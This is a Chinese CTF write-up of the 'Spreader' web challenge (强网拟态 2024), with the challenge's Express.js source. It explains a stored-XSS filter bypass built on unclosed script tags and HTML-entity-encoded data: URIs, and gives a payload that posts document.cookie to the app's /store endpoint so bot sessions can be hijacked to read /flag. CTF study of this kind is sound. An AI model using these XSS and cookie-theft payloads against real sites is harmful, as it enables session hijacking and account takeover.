Spreader_强网拟态24

分析与尝试(ALMOST DONE)

  1. 代码分析

    1. 考点应该是xss,下来这么大功夫,不用猜,都明着写了triggerXSS
    2. 看一下代码,将用户存在users列表里,密码明文存储
    3. 访问/时进行鉴权,只会显示对应权限的post,可知当role为ROLES.ADMIN时可以看到所有的内容
    4. 访问/post时黑名单,可以直接写入content中,admin只可以看到previleged和admin的文章
    5. 任何人都可以获取/store的内容,存的是req.body
    6. 显然要读/flag内容
  2. 不是哥们,如果我先做过这题网鼎直接秒了啊,真实艹了,现在轮到我秒你了,还是假装一下

  3. 目标,通过admin读到flag,然后写在post里或者/store回来?也可以是直接带外如果开网的话,通过/report_admin让admin来看

    1. attacks(可以的,没有问题): 普通用户写内容,/report_previleged读让/report_admin触发admin访问/flag读取内容后访问/store写入,然后使用本地用户登录并访问/store即可
    2. 现在的问题在于绕过:检测大小写与全局,特殊函数eval(需要左括号才会被过滤,允许使用href和src但是不能加上恶意东西
      1. 想到base64编码但是被过滤了,php伪协议+其他编码?source被过滤了
      2. 刚好window['eval'](atob(data))可以行得通,可打,怎么调用到js –> 还是看题解了,不要浪费太多实践
    1
    2
    3
    4
    // 缺点:需要herf点击,这里行不通
    // 返回javascript:后面就是可读内容
    // javascript:在herf里才可以,img行不通
    javascript:window['eval'](atob(data)) // 在data中输入base64编码的值

***bypass and payload

  1. bypass: 这里使用了html自动闭合的特性调用js,使用实体编码来绕过关键词

    1. 这里如果使用python发包的话,可以抓包看看是x-www-urlencoded或者是application/json
    1
    2
    <!-- poc 成功调用alert() -->
    <script src="&#x64;&#x61;&#x74;&#x61;&#x3a;&#x74;&#x65;&#x78;&#x74;&#x2f;&#x6a;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3b;&#x62;&#x61;&#x73;&#x65;&#x36;&#x34;&#x2c;YWxlcnQoKQ=="></script
  2. paylaod

    1. 打cookie写法,标签未闭合绕过

      1
      2
      3
      4
      5
      6
      // 1. 获取previlegedcookie
      <script>window['alert'](document.cookie)</script
      // 2. 不出网,上传后/report_privileged写入'/store'带出cookie
      <script>fetch('/store',{method:'POST',headers:{'Content-Type':'application/x-www-form-urlencoded'},body:encodeURIComponent(document.cookie)});</script
      // 3. 登录previleged,同理上传后/report_privileged
      // 4. 获取cookie访问/flag
    2. 写入载体法略,总之js写一下在键值中再写一次就好

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
const fs = require('fs');
const express = require('express');
const router = express.Router();
const { triggerXSS } = require('../bot');
const { Store } = require('express-session');

function isAuthenticated(req, res, next) {
if (req.session.user) {
next();
} else {
res.redirect('/login');
}
}

module.exports = (users,posts,store,AdminPassWord,PrivilegedPassWord) => {

const ROLES = {
PLAIN: "plain",
PRIVILEGED: "privileged",
ADMIN: "admin",
};

router.get('/register', (req, res) => {
res.sendFile('register.html', { root: './views' });
});

router.post('/register', (req, res) => {
const { username, password, role } = req.body;
const userExists = users.some(u => u.username === username);
if (userExists) {
return res.send('Username already exists!');
}
users.push({ username, password, role: "plain" });
res.redirect('/login');
});
router.get('/login', (req, res) => {
res.sendFile('login.html', { root: './views' });
});

router.post('/login', (req, res) => {
const { username, password } = req.body;
console.log(username);
console.log(password);
const user = users.find(u => u.username === username && u.password === password);
if (user) {
req.session.user = user;
res.redirect('/');
} else {
res.send('Invalid credentials!');
}
});
router.get('/', isAuthenticated, (req, res) => {
const currentUser = req.session.user;
let filteredPosts = [];
if (currentUser.role === ROLES.ADMIN) {
filteredPosts = posts.filter(p => p.role === ROLES.PRIVILEGED || p.role === ROLES.ADMIN);
} else if (currentUser.role === ROLES.PRIVILEGED) {
filteredPosts = posts.filter(p => p.role === ROLES.PLAIN || p.role === ROLES.PRIVILEGED);
} else {
filteredPosts = posts.filter(p => p.role === ROLES.PLAIN);
}
res.render(`${currentUser.role}`, { posts: filteredPosts, user: currentUser });
});
router.post('/post', isAuthenticated, (req, res) => {
let { content } = req.body;

const scriptTagRegex = /<script\b[^<]*(?:(?!<\/script>)<[^<]*)*<\/script>/gi;
content = content.replace(scriptTagRegex, '[XSS attempt blocked]');

const eventHandlerRegex = /on\w+\s*=\s*(["']).*?\1/gi;
content = content.replace(eventHandlerRegex, '[XSS attempt blocked]');

const javascriptURLRegex = /(?:href|src)\s*=\s*(["'])\s*javascript:.*?\1/gi;
content = content.replace(javascriptURLRegex, '[XSS attempt blocked]');

const dataURLRegex = /(?:href|src)\s*=\s*(["'])\s*data:.*?\1/gi;
content = content.replace(dataURLRegex, '[XSS attempt blocked]');

const cssExpressionRegex = /style\s*=\s*(["']).*?expression\([^>]*?\).*?\1/gi;
content = content.replace(cssExpressionRegex, '[XSS attempt blocked]');

const dangerousTagsRegex = /<\/?(?:iframe|object|embed|link|meta|svg|base|source|form|input|video|audio|textarea|button|frame|frameset|applet)[^>]*?>/gi;
content = content.replace(dangerousTagsRegex, '[XSS attempt blocked]');

const dangerousAttributesRegex = /\b(?:style|srcset|formaction|xlink:href|contenteditable|xmlns)\s*=\s*(["']).*?\1/gi;
content = content.replace(dangerousAttributesRegex, '[XSS attempt blocked]');

const dangerousProtocolsRegex = /(?:href|src)\s*=\s*(["'])(?:\s*javascript:|vbscript:|file:|data:|filesystem:).*?\1/gi;
content = content.replace(dangerousProtocolsRegex, '[XSS attempt blocked]');

const dangerousFunctionsRegex = /\b(?:eval|alert|prompt|confirm|console\.log|Function)\s*\(/gi;
content = content.replace(dangerousFunctionsRegex, '[XSS attempt blocked]');

posts.push({ content: content, username: req.session.user.username, role: req.session.user.role });
res.redirect('/');
});


router.get('/logout', (req, res) => {
req.session.destroy();
res.redirect('/login');
});
router.get('/report_admin', async (req, res) => {
try {
await triggerXSS("admin",AdminPassWord);
res.send(`Admin Bot successfully logged in.`);
} catch (error) {
console.error('Error Reporting:', error);
res.send(`Admin Bot successfully logged in.`);
}
});
router.get('/report_privileged', async (req, res) => {
try {
await triggerXSS("privileged",PrivilegedPassWord);
res.send(`Privileged Bot successfully logged in.`);
} catch (error) {
console.error('Error Reporting:', error);
res.send(`Privileged Bot successfully logged in.`);
}
});
router.get('/store', async (req, res) => {
return res.status(200).json(store);
});
router.post('/store', async (req, res) => {
if (req.body) {
store.push(req.body);
return res.status(200).send('Data stored successfully');
} else {
return res.status(400).send('No data received');
}
});
router.get('/flag', async (req, res) => {
try {
if (req.session.user && req.session.user.role === "admin") {
fs.readFile('/flag', 'utf8', (err, data) => {
if (err) {
console.error('Error reading flag file:', err);
return res.status(500).send('Internal Server Error');
}
res.send(`Your Flag Here: ${data}`);
});
} else {
res.status(403).send('Unauthorized!');
}
} catch (error) {
console.error('Error fetching flag:', error);
res.status(500).send('Internal Server Error');
}
});
return router;
};